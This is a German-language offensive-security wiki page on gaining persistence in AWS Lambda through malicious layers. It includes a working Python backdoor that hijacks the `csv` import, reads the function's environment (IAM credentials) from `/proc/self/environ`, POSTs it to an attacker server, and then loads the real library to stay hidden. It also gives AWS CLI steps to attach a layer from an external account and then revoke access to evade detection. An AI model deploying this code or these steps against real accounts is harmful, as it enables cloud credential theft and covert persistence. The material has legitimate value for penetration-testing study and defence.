# AWS - Lambda Layers Persistence {{#include ../../../../banners/hacktricks-training.md}} ## Lambda Layers Ein Lambda-Layer ist ein .zip-Dateiarchiv, das **zusätzlichen Code** oder andere Inhalte **enthalten kann**. Ein Layer kann Bibliotheken, eine [benutzerdefinierte Laufzeit](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), Daten oder Konfigurationsdateien enthalten. Es ist möglich, bis zu **fünf Layers pro Funktion** einzuschließen. Wenn Sie einen Layer in einer Funktion einfügen, werden die **Inhalte im Verzeichnis `/opt`** der Ausführungsumgebung extrahiert. Standardmäßig sind die **Layers**, die Sie erstellen, **privat** für Ihr AWS-Konto. Sie können wählen, ob Sie einen Layer mit anderen Konten **teilen** oder den Layer **öffentlich** machen möchten. Wenn Ihre Funktionen einen Layer verwenden, den ein anderes Konto veröffentlicht hat, können Ihre Funktionen **die Layer-Version weiterhin verwenden, nachdem sie gelöscht wurde oder nachdem Ihre Berechtigung zum Zugriff auf den Layer widerrufen wurde**. Sie können jedoch keine neue Funktion erstellen oder Funktionen mit einer gelöschten Layer-Version aktualisieren. Funktionen, die als Container-Image bereitgestellt werden, verwenden keine Layers. Stattdessen verpacken Sie Ihre bevorzugte Laufzeit, Bibliotheken und andere Abhängigkeiten in das Container-Image, wenn Sie das Image erstellen. ### Python load path Der Ladepfad, den Python in Lambda verwenden wird, ist der folgende: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` Überprüfen Sie, wie die **zweite** und dritte **Position** von Verzeichnissen eingenommen werden, in denen **Lambda-Layer** ihre Dateien entpacken: **`/opt/python/lib/python3.9/site-packages`** und **`/opt/python`** > [!CAUTION] > Wenn es einem Angreifer gelingt, einen verwendeten Lambda **Layer** zu **backdoor** oder einen hinzuzufügen, der **beliebigen Code ausführt, wenn eine gängige Bibliothek geladen wird**, kann er mit jeder Lambda-Aufruf bösartigen Code ausführen. Daher sind die Anforderungen: - **Überprüfen Sie Bibliotheken**, die vom Code der Opfer **geladen** werden - Erstellen Sie eine **Proxy-Bibliothek mit Lambda-Layern**, die **benutzerdefinierten Code ausführt** und die **ursprüngliche** Bibliothek **lädt**. ### Vorgebundene Bibliotheken > [!WARNING] > Bei der Ausnutzung dieser Technik stieß ich auf eine Schwierigkeit: Einige Bibliotheken sind **bereits geladen**, wenn Ihr Code ausgeführt wird. Ich erwartete, Dinge wie `os` oder `sys` zu finden, aber **sogar die `json`-Bibliothek war geladen**.\ > Um diese Persistenztechnik auszunutzen, muss der Code eine **neue Bibliothek laden, die nicht geladen ist**, wenn der Code ausgeführt wird. Mit einem Python-Code wie diesem ist es möglich, die **Liste der Bibliotheken, die vorab geladen sind**, innerhalb der Python-Laufzeit in Lambda zu erhalten: ```python import sys def lambda_handler(event, context): return { 'statusCode': 200, 'body': str(sys.modules.keys()) } ``` Und dies ist die **Liste** (überprüfen Sie, ob Bibliotheken wie `os` oder `json` bereits vorhanden sind) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` Und dies ist die Liste der **Bibliotheken**, die **lambda standardmäßig installiert**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) ### Lambda Layer Backdooring In diesem Beispiel nehmen wir an, dass der angezielte Code **`csv`** importiert. Wir werden **den Import der `csv`-Bibliothek backdooren**. Um dies zu tun, werden wir das Verzeichnis **csv** mit der Datei **`__init__.py`** darin in einem Pfad erstellen, der von lambda geladen wird: **`/opt/python/lib/python3.9/site-packages`**\ Dann, wenn die lambda ausgeführt wird und versucht, **csv** zu laden, wird unsere **`__init__.py`-Datei geladen und ausgeführt**.\ Diese Datei muss: - Unser Payload ausführen - Die originale csv-Bibliothek laden Wir können beides mit: ```python import sys from urllib import request with open("/proc/self/environ", "rb") as file: url= "https://attacker13123344.com/" #Change this to your server req = request.Request(url, data=file.read(), method="POST") response = request.urlopen(req) # Remove backdoor directory from path to load original library del_path_dir = "/".join(__file__.split("/")[:-2]) sys.path.remove(del_path_dir) # Remove backdoored loaded library from sys.modules del sys.modules[__file__.split("/")[-2]] # Load original library import csv as _csv sys.modules["csv"] = _csv ``` Erstellen Sie dann eine Zip-Datei mit diesem Code im Pfad **`python/lib/python3.9/site-packages/__init__.py`** und fügen Sie sie als Lambda-Schicht hinzu. Sie finden diesen Code unter [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) Die integrierte Payload wird **die IAM-Credentials an einen Server senden, BEIM ERSTEN AUFRUF oder NACH einem Reset des Lambda-Containers** (Änderung des Codes oder kaltes Lambda), aber **andere Techniken** wie die folgenden könnten ebenfalls integriert werden: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} ### Externe Schichten Es ist zu beachten, dass es möglich ist, **Lambda-Schichten aus externen Konten** zu verwenden. Darüber hinaus kann ein Lambda eine Schicht aus einem externen Konto verwenden, auch wenn es keine Berechtigungen hat.\ Es ist auch zu beachten, dass die **maximale Anzahl von Schichten, die ein Lambda haben kann, 5 beträgt**. Daher könnte ein Angreifer, um die Vielseitigkeit dieser Technik zu verbessern: - Eine bestehende Schicht des Benutzers kompromittieren (nichts ist extern) - **Eine** **Schicht** in **seinem Konto** erstellen, dem **Opferkonto Zugriff** auf die Verwendung der Schicht gewähren, die **Schicht** im Lambda des Opfers **konfigurieren** und die **Berechtigung entfernen**. - Das **Lambda** wird weiterhin in der Lage sein, die **Schicht** zu **verwenden**, und das **Opfer wird** keine einfache Möglichkeit haben, den **Code der Schichten herunterzuladen** (außer durch den Erhalt einer Reverse-Shell im Lambda). - Das Opfer **wird keine externen Schichten** sehen, die mit **`aws lambda list-layers`** verwendet werden. ```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" # Give everyone access to the lambda layer ## Put the account number in --principal to give access only to an account aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ## Add layer to victims Lambda # Remove permissions aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 ``` {{#include ../../../../banners/hacktricks-training.md}}